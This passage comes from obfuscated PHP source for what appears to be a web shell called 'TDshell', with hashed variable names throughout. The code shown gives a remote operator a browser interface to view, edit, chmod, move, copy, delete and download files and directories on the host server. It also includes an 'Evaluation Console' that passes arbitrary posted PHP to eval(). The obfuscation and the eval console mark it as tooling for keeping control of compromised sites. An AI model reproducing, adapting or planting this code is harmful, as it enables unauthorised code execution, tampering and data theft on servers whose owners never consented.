$_4894710f990f9bda9ef69a94d3de9a25['basename'] = @basename($_d3befca3813d65aff84c2353e705a0dd); $_4894710f990f9bda9ef69a94d3de9a25['path'] = @pathinfo($_d3befca3813d65aff84c2353e705a0dd); $_4894710f990f9bda9ef69a94d3de9a25['path'] = processdir($_4894710f990f9bda9ef69a94d3de9a25['path']['dirname']) . $_4894710f990f9bda9ef69a94d3de9a25['basename']; $_4894710f990f9bda9ef69a94d3de9a25['size'] = view_size(@filesize($_d3befca3813d65aff84c2353e705a0dd)); $_4894710f990f9bda9ef69a94d3de9a25['md5'] = @md5_file($_d3befca3813d65aff84c2353e705a0dd); $_d2f5e3cb12e93bae6c4981faf06db693 = @posix_getpwuid(@fileowner($_d3befca3813d65aff84c2353e705a0dd)); $_048403d36ad14f408d11cb9c81b09d29 = @posix_getgrgid(@filegroup($_d3befca3813d65aff84c2353e705a0dd)); $_d2f5e3cb12e93bae6c4981faf06db693 = $_d2f5e3cb12e93bae6c4981faf06db693["name"]; $_048403d36ad14f408d11cb9c81b09d29 = $_048403d36ad14f408d11cb9c81b09d29["name"]; $_4894710f990f9bda9ef69a94d3de9a25['owner_group'] = "$_d2f5e3cb12e93bae6c4981faf06db693|$_048403d36ad14f408d11cb9c81b09d29"; $_4894710f990f9bda9ef69a94d3de9a25['permissions'] = view_perms_color($_d3befca3813d65aff84c2353e705a0dd); $_4894710f990f9bda9ef69a94d3de9a25['modified'] = @date ("F d Y H:i:s.", @filemtime($_d3befca3813d65aff84c2353e705a0dd)); $_4894710f990f9bda9ef69a94d3de9a25['created'] = @date ("F d Y H:i:s.", @filectime($_d3befca3813d65aff84c2353e705a0dd)); $_4894710f990f9bda9ef69a94d3de9a25['accessed'] = @date ("F d Y H:i:s.", @fileatime($_d3befca3813d65aff84c2353e705a0dd)); $this->out('<table width=100% border="1" cellpadding="0" cellspacing="0" bordercolor="#000000"> <tr> <td> <center> <strong><font color=green>' . $_4894710f990f9bda9ef69a94d3de9a25['basename'] . '</font></strong> </center> </td> </tr> <tr> <td> <table width=100%> <tr> <td valign="top" width=70%> <div align="center"><strong>File Information </strong></div> <table width=100%> <tr> <td> Path: <b>' . $_4894710f990f9bda9ef69a94d3de9a25['path'] . '</b> </td> </tr> <tr> <td> Size: <b>' . $_4894710f990f9bda9ef69a94d3de9a25['size'] . '</b> </td> </tr> <tr> <td> MD5: <b>' . $_4894710f990f9bda9ef69a94d3de9a25['md5'] . '</b> </td> </tr> <tr> <td> Owner|Group: <b>' . $_4894710f990f9bda9ef69a94d3de9a25['owner_group'] . '</b> </td> </tr> <tr> <td> Permissions: <b>' . $this->make_link("file", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_4894710f990f9bda9ef69a94d3de9a25['permissions']) . '</b> </td> </tr> <tr> <td> Creation: <strong>' . $_4894710f990f9bda9ef69a94d3de9a25['created'] . '</strong> </td> </tr> <tr> <td> Modification: <strong>' . $_4894710f990f9bda9ef69a94d3de9a25['modified'] . '</strong> </td> </tr> <tr> <td> Access: <strong>' . $_4894710f990f9bda9ef69a94d3de9a25['accessed'] . '</strong> </td> </tr> </table> </td> <td valign="top"> <div align="center"><strong>File Actions</strong></div> <table width=100%> <tr> <td> <strong> ' . $this->make_link("file", array("act" => "edit", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[edit]") . ' </strong> </td> </tr> <tr> <td><strong>' . $this->make_link("file", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[chmod]") . '</strong></td> </tr> <tr> <td> <strong>' . $this->make_link("file", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[move]") . '</strong> </td> </tr> <tr> <td> <strong>' . $this->make_link("file", array("act" => "copy", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[copy]") . '</strong> </td> </tr> <tr> <td> <strong>' . $this->make_link("file", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[delete]") . '</strong> </td> </tr> <tr> <td> <strong><a href="' . $this->make_link("file", array("act" => "download", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" target="_blank">[download]</a></strong> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table>'); } elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "chmod") { if (!@is_file($_d3befca3813d65aff84c2353e705a0dd)) { $this->out("<center><b>Error: the file does not exist or could not be read from.</b></center>"); return FALSE; }; $_4efbfa502ea6e58b84de1cdc04aecadf = $_POST['newmode']; if (empty($_4efbfa502ea6e58b84de1cdc04aecadf)) { $_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd); $_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname']; $_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd); $_13f531c0ca48f6a5f8315121bf59ffaa = file_perms($_d3befca3813d65aff84c2353e705a0dd, TRUE); $this->out("Changing file permissions of <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b>, " . view_perms_color($_d3befca3813d65aff84c2353e705a0dd) . " (".substr(decoct(fileperms($_d3befca3813d65aff84c2353e705a0dd)),-4,4).")<br>" . '<form method="post" action="' . $this->make_link("file", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '"><input name="newmode" type="text" value="' . $_13f531c0ca48f6a5f8315121bf59ffaa . '" size="4" maxlength="4"><br><input type="submit" name="Submit" value="Set"></form>'); } else { $_4efbfa502ea6e58b84de1cdc04aecadf = @intval($_4efbfa502ea6e58b84de1cdc04aecadf); $_d3befca3813d65aff84c2353e705a0dd = @base64_encode($_d3befca3813d65aff84c2353e705a0dd); $_16d3c4cdd343a37db4994c3591c83993 = "chmod (base64_decode('" . $_d3befca3813d65aff84c2353e705a0dd . "'), 0" . $_4efbfa502ea6e58b84de1cdc04aecadf . ");"; if (eval($_16d3c4cdd343a37db4994c3591c83993) === FALSE) { $_d3befca3813d65aff84c2353e705a0dd = @base64_decode($_d3befca3813d65aff84c2353e705a0dd); $this->out("<center><b>Failed to change permissions of file. " . $this->make_link("file", array("name" => $_d3befca3813d65aff84c2353e705a0dd, "act" => "view"), " Click here to go back to file.") . "</b></center>"); } else { @clearstatcache(); $_d3befca3813d65aff84c2353e705a0dd = @base64_decode($_d3befca3813d65aff84c2353e705a0dd); $_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd); $_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname']; $_9074596a8e59a87e41db87f3029b4959 = basename($_d3befca3813d65aff84c2353e705a0dd); $_13f531c0ca48f6a5f8315121bf59ffaa = file_perms($_d3befca3813d65aff84c2353e705a0dd, TRUE); $this->out("Changing file permissions of <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b>, " . view_perms_color($_d3befca3813d65aff84c2353e705a0dd) . " (".substr(decoct(fileperms($_d3befca3813d65aff84c2353e705a0dd)),-4,4).")<br>" . '<form method="post" action="' . $this->make_link("file", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '"><input name="newmode" type="text" value="' . $_13f531c0ca48f6a5f8315121bf59ffaa . '" size="4" maxlength="4"><br><input type="submit" name="Submit" value="Set"></form>'); }; }; } elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "edit") { $this->out("<table width=100%><tr><!-- <td><a id='sqlconnectbox' href='javascript:;' onclick='itemShowHide(\"sqlconnectbox_div\", \"sqlconnectbox\")'>[+]</a><br><div id='sqlconnectbox_div' style='display: none;'>{SQL Connection Interfase}</div></td> !--><td>"); if (!@is_file($_d3befca3813d65aff84c2353e705a0dd) || !@is_readable($_d3befca3813d65aff84c2353e705a0dd)) { $this->out("<center><b>Error: the file does not exist or could not be read from.</b></center>"); return FALSE; }; if (!isset($_POST['newdata'])) { $_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd); $_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname']; $_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd); $this->out("Editing file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br>" . '<form method="post" action="' . $this->make_link("file", array("act" => "edit", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" enctype="multipart/form-data"><textarea id="newdata" name="newdata" rows="20" style="width:100%;">' . @htmlspecialchars(@implode("", @file($_d3befca3813d65aff84c2353e705a0dd))) . '</textarea><input type="submit" value="Save"><input type="reset" value="Reset"></form>'); } else { $_4aac6af23de22a66b42d8ba63e7fc9fe = $_POST['newdata']; $_4aac6af23de22a66b42d8ba63e7fc9fe = @stripslashes($_4aac6af23de22a66b42d8ba63e7fc9fe); $_c14f19c15d50e72a5733c0ad88a035b9 = @fopen($_d3befca3813d65aff84c2353e705a0dd, "w"); @fwrite($_c14f19c15d50e72a5733c0ad88a035b9, $_4aac6af23de22a66b42d8ba63e7fc9fe); @fclose($_c14f19c15d50e72a5733c0ad88a035b9); $_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd); $_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname']; $_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd); $this->out("Editing file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br>" . '<b>Success!</b><br><form method="post" action="' . $this->make_link("file", array("act" => "edit", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" enctype="multipart/form-data"><textarea id="newdata" name="newdata" rows="20" style="width:100%;">' . @htmlspecialchars(@implode("", @file($_d3befca3813d65aff84c2353e705a0dd))) . '</textarea><input type="submit" value="Save"><input type="reset" value="Reset"></form>'); }; $this->out("</td></tr></table>"); } elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "move") { $_d0b3e9370ba342bbae976cec71233e51 = $_POST['moveto']; $_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd); $_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd); $_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname']; if (!isset($_POST['moveto'])) { $this->out("Preparing to move file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br>" . '<form action="' . $this->make_link("file", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Move"></form>'); } else { $_d0b3e9370ba342bbae976cec71233e51 = @htmlspecialchars_decode($_d0b3e9370ba342bbae976cec71233e51); if (!@rename($_d3befca3813d65aff84c2353e705a0dd, $_d0b3e9370ba342bbae976cec71233e51)) { $this->out("Preparing to move file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br><b>Failed!</b><br>" . '<form action="' . $this->make_link("file", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Move"></form>'); } else { $_2211b5dc6bb7947adcb0bf14cee6591e = $_d0b3e9370ba342bbae976cec71233e51; $_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_2211b5dc6bb7947adcb0bf14cee6591e); $_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname']; $_9074596a8e59a87e41db87f3029b4959 = @basename($_d0b3e9370ba342bbae976cec71233e51); $this->out("Preparing to move file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d0b3e9370ba342bbae976cec71233e51), $_9074596a8e59a87e41db87f3029b4959) . "</b><br><b>Success!</b><br>" . '<form action="' . $this->make_link("file", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post" enctype="text/plain"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d0b3e9370ba342bbae976cec71233e51) . '"><br><input type="submit" value="Move"></form>'); }; }; } elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "copy") { $_d4328d5d2bbd5a7a94ae0b56d6e6aade = $_POST['copyto']; $_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd); $_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd); $_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname']; if (!isset($_POST['copyto'])) { $this->out("Preparing to copy file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br>" . '<form action="' . $this->make_link("file", array("act" => "copy", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="copyto" type="text" id="copyto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Copy"></form>'); } else { $_d4328d5d2bbd5a7a94ae0b56d6e6aade = @htmlspecialchars_decode($_d4328d5d2bbd5a7a94ae0b56d6e6aade); if (!@copy($_d3befca3813d65aff84c2353e705a0dd, $_d4328d5d2bbd5a7a94ae0b56d6e6aade)) { $this->out("Preparing to copy file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br><b>Failed!</b><br>" . '<form action="' . $this->make_link("file", array("act" => "copy", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="copyto" type="text" id="copyto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Copy"></form>'); } else { $this->out("Preparing to copy file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br><b>Success!</b><br>" . '<form action="' . $this->make_link("file", array("act" => "copy", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="copyto" type="text" id="copyto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Copy"></form>'); }; }; } elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "delete") { $_2a46f3328eaed89ef8402d4effba331e = $_POST['confirm_delete']; if (!isset($_POST['confirm_delete'])) { $_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd); $_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd); $_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname']; $this->out("Are you sure you wish to delete file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br>" . '<form action="' . $this->make_link("file", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="confirm_delete" type="hidden" id="confirm_delete" value="YES"><input type="submit" value="Delete file"></form>'); } else { $_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd); $_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd); $_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname']; if (!@unlink($_d3befca3813d65aff84c2353e705a0dd)) { $this->out("Are you sure you wish to delete file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br><b>Failed!</b><br>" . '<form action="' . $this->make_link("file", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="confirm_delete" type="hidden" id="confirm_delete" value="YES"><input type="submit" value="Delete file"></form>'); } else { $this->out("<b>File Deleted.</b><br>" . $this->make_link("list", array("name" => $_2211b5dc6bb7947adcb0bf14cee6591e), "Click here to go back.")); }; } } elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "download") { if (!@is_file($_d3befca3813d65aff84c2353e705a0dd) || !@is_readable($_d3befca3813d65aff84c2353e705a0dd)) { if (@is_file($_d3befca3813d65aff84c2353e705a0dd)) { $_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd); $_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname']; } else { $_2211b5dc6bb7947adcb0bf14cee6591e = ""; }; $this->out("Could not download file.<br>" . $this->make_link("list", array("name" => $_2211b5dc6bb7947adcb0bf14cee6591e), "Click here to go back.")); } @header("Cache-Control: public, must-revalidate"); @header("Content-Type: application/octet-stream"); @header("Content-Length: " . (string)filesize($_d3befca3813d65aff84c2353e705a0dd)); @header('Content-Disposition: attachment; filename="'.basename($_d3befca3813d65aff84c2353e705a0dd).'"'); @header("Content-Transfer-Encoding: binary"); @readfile($_d3befca3813d65aff84c2353e705a0dd); exit; } else { $this->process("file", array("name" => $_d3befca3813d65aff84c2353e705a0dd, "act" => "view")); return FALSE; }; break; case "dir": $_2e5c25529adea7d7ad4802936aee0b48 = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['act']; $_d3befca3813d65aff84c2353e705a0dd = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['name']; if (empty($_2e5c25529adea7d7ad4802936aee0b48)) { $this->out("<center><b>Error: no act was specified</b></center>"); return FALSE; }; if ($_2e5c25529adea7d7ad4802936aee0b48 == "info") { if ((@is_dir($_d3befca3813d65aff84c2353e705a0dd)) && (@is_readable($_d3befca3813d65aff84c2353e705a0dd . DIRECTORY_SEPARATOR))) { $_d69e2bdf98584fc6cce9c9f9a9eb8b6a = listDir($_d3befca3813d65aff84c2353e705a0dd . DIRECTORY_SEPARATOR); $this->out('<table width=100% border="1" cellpadding="0" cellspacing="0" bordercolor="#000000"> <tr> <td> <center> <strong><font color=green>' . processdir($_d3befca3813d65aff84c2353e705a0dd) . '</font></strong> </center> </td> </tr> <tr> <td> <table width=100%> <tr> <td valign="top" width=70%> <div align="center"><strong>Directory Information</strong></div> <table width=100%> <tr> <td> Files: ' . @count($_d69e2bdf98584fc6cce9c9f9a9eb8b6a['FILES']) . ' </td> </tr> <tr> <td> Subdirectories: ' . @count($_d69e2bdf98584fc6cce9c9f9a9eb8b6a['DIRS']) . ' </td> </tr> </table> </td> <td valign="top"> <div align="center"><strong>Directory Actions</strong></div> <table width=100%> <tr> <td> <strong> ' . $this->make_link("dir", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[chmod]") . ' </strong> </td> </tr> <tr> <td> <strong> ' . $this->make_link("dir", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[move]") . ' </strong> </td> </tr> <tr> <td> <strong> ' . $this->make_link("dir", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[delete]") . ' </strong> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table>'); } else { $this->out("<center><b>Directory is invalid.</b></center>"); }; } elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "chmod") { if (!@is_dir($_d3befca3813d65aff84c2353e705a0dd)) { $this->out("<center><b>Error: the directory does not exist or could not be read from.</b></center>"); return FALSE; }; $_4efbfa502ea6e58b84de1cdc04aecadf = $_POST['newmode']; $_13f531c0ca48f6a5f8315121bf59ffaa = file_perms($_d3befca3813d65aff84c2353e705a0dd, TRUE); if (empty($_4efbfa502ea6e58b84de1cdc04aecadf)) { $_2211b5dc6bb7947adcb0bf14cee6591e = $_d3befca3813d65aff84c2353e705a0dd; $this->out("Changing file permissions of <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b>, " . view_perms_color($_d3befca3813d65aff84c2353e705a0dd) . " (".@substr(@decoct(@fileperms($_d3befca3813d65aff84c2353e705a0dd)),-4,4).")<br>" . '<form method="post" action="' . $this->make_link("dir", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '"><input name="newmode" type="text" value="0' . $_13f531c0ca48f6a5f8315121bf59ffaa . '" size="4" maxlength="4"><br><input type="submit" name="Submit" value="Set"></form>'); } else { $_4efbfa502ea6e58b84de1cdc04aecadf = @intval($_4efbfa502ea6e58b84de1cdc04aecadf); $_d3befca3813d65aff84c2353e705a0dd = @base64_encode($_d3befca3813d65aff84c2353e705a0dd); $_16d3c4cdd343a37db4994c3591c83993 = "chmod (base64_decode('$_d3befca3813d65aff84c2353e705a0dd'), 0$_4efbfa502ea6e58b84de1cdc04aecadf);"; if (eval($_16d3c4cdd343a37db4994c3591c83993) === FALSE) { $_d3befca3813d65aff84c2353e705a0dd = base64_decode($_d3befca3813d65aff84c2353e705a0dd); $this->out("<center><b>Failed to change permissions of the directory. " . $this->make_link("file", array("dir" => $_d3befca3813d65aff84c2353e705a0dd, "act" => "view"), " Click here to go back to the directory.") . "</b></center>"); } else { @clearstatcache(); $_d3befca3813d65aff84c2353e705a0dd = @base64_decode($_d3befca3813d65aff84c2353e705a0dd); $_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd); $_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname']; $_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd); $_13f531c0ca48f6a5f8315121bf59ffaa = file_perms($_d3befca3813d65aff84c2353e705a0dd, TRUE); $this->out("Changing file permissions of <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b>, " . view_perms_color($_d3befca3813d65aff84c2353e705a0dd) . " (".@substr(@decoct(@fileperms($_d3befca3813d65aff84c2353e705a0dd)),-4,4).")<br>" . '<b>Success!</b><br><form method="post" action="' . $this->make_link("dir", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '"><input name="newmode" type="text" value="0' . $_13f531c0ca48f6a5f8315121bf59ffaa . '" size="4" maxlength="4"><br><input type="submit" name="Submit" value="Set"></form>'); }; }; } elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "move") { $_d0b3e9370ba342bbae976cec71233e51 = $_POST['moveto']; $_2211b5dc6bb7947adcb0bf14cee6591e = $_d3befca3813d65aff84c2353e705a0dd; if (!isset($_POST['moveto'])) { $this->out("Preparing to move directory <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b><br>" . '<form action="' . $this->make_link("dir", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Move"></form>'); } else { $_d0b3e9370ba342bbae976cec71233e51 = @htmlspecialchars_decode($_d0b3e9370ba342bbae976cec71233e51); if (!@rename($_d3befca3813d65aff84c2353e705a0dd, $_d0b3e9370ba342bbae976cec71233e51)) { $this->out("Preparing to move directory <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b><br><b>Failed!</b><br>" . '<form action="' . $this->make_link("dir", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Move"></form>'); } else { $this->out("Preparing to move directory <b>" . processdir($_d0b3e9370ba342bbae976cec71233e51) . "</b><br><b>Success!</b><br>" . '<form action="' . $this->make_link("dir", array("act" => "move", "name" => $_d0b3e9370ba342bbae976cec71233e51), NULL, TRUE) . '" method="post"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . htmlspecialchars($_d0b3e9370ba342bbae976cec71233e51) . '"><br><input type="submit" value="Move"></form>'); }; }; } elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "delete") { $_2a46f3328eaed89ef8402d4effba331e = $_POST['confirm_delete']; if (!isset($_POST['confirm_delete'])) { $_2211b5dc6bb7947adcb0bf14cee6591e = $_d3befca3813d65aff84c2353e705a0dd; $this->out("Are you sure you wish to delete directory <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b><br>" . '<form action="' . $this->make_link("dir", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="confirm_delete" type="hidden" id="confirm_delete" value="YES"><input type="submit" value="Delete"></form>'); } else { $_2211b5dc6bb7947adcb0bf14cee6591e = $_d3befca3813d65aff84c2353e705a0dd; if (!delete_directory($_d3befca3813d65aff84c2353e705a0dd)) { $this->out("Are you sure you wish to delete directory <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b><br><b>Failed!</b><br>" . '<form action="' . $this->make_link("dir", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="confirm_delete" type="hidden" id="confirm_delete" value="YES"><input type="submit" value="Delete"></form>'); } else { $_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_2211b5dc6bb7947adcb0bf14cee6591e); $_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname']; $this->out("<b>Directory Deleted.</b><br>" . $this->make_link("list", array("name" => $_2211b5dc6bb7947adcb0bf14cee6591e), "Click here to go back.")); }; } } else { $this->process("dir", array("name" => $_d3befca3813d65aff84c2353e705a0dd, "act" => "info")); return FALSE; }; break; case "sql": $this->out("<center><b>(My)SQL Support will be added in future versions of TDshell.</b></center>"); break; case "eval": $_202860a67864e2245a32e15193fe3cf4 = $_POST['evaldata']; $_4e708563acf942967766e0209568749c = $_POST['evalmethod']; if (empty($_202860a67864e2245a32e15193fe3cf4)) { $this->out('<center><b>Evaluation Console</b></center><form method="post" action="' . $this->make_link("eval", NULL, NULL, TRUE) . '" enctype="multipart/form-data"><textarea name="evaldata" rows="15" id="evaldata" style="width:100%;"></textarea><input name="evalmethod" type="radio" value="textbox" checked>Display in TextBox<br><input name="evalmethod" type="radio" value="html">Display normally<br><input type="submit" value="Evaluate"></form>'); } else { $_202860a67864e2245a32e15193fe3cf4 = @stripslashes($_202860a67864e2245a32e15193fe3cf4); if ($_4e708563acf942967766e0209568749c == "textbox") { @ob_start(); eval($_202860a67864e2245a32e15193fe3cf4); $_abeb01d5ff8f108e1106e763a15f95ed .= @ob_get_clean(); $_abeb01d5ff8f108e1106e763a15f95ed = @htmlspecialchars($_abeb01d5ff8f108e1106e763a15f95ed); $this->out('<center><b>Evaluation Console</b></center><form method="post" action="' . $this->make_link("eval", NULL, NULL, TRUE) . '" enctype="multipart/form-data"><textarea rows="15" id="evaldata" style="width:100%;">' . $_abeb01d5ff8f108e1106e763a15f95ed . '</textarea><textarea name="evaldata" rows="15" id="evaldata" style="width:100%;">' . @htmlspecialchars($_202860a67864e2245a32e15193fe3cf4) . '</textarea><input name="evalmethod" type="radio" value="textbox" checked>Display in TextBox<br><input name="evalmethod" type="radio" value="html">Display normally<br><input type="submit" value="Evaluate"></form>'); } else { @ob_start(); eval($_202860a67864e2245a32e15193fe3cf4); $_abeb01d5ff8f108e1106e763a15f95ed = @ob_get_clean(); $this->out('<center><b>Evaluation Console</b></center><form method="post" action="' . $this->make_link("eval", NULL, NULL, TRUE) . '" enctype="multipart/form-data">' . $_abeb01d5ff8f108e1106e763a15f95ed . '<br><textarea name="evaldata" rows="15" id="evaldata" style="width:100%;">' . @htmlspecialchars($_202860a67864e2245a32e15193fe3cf4) . 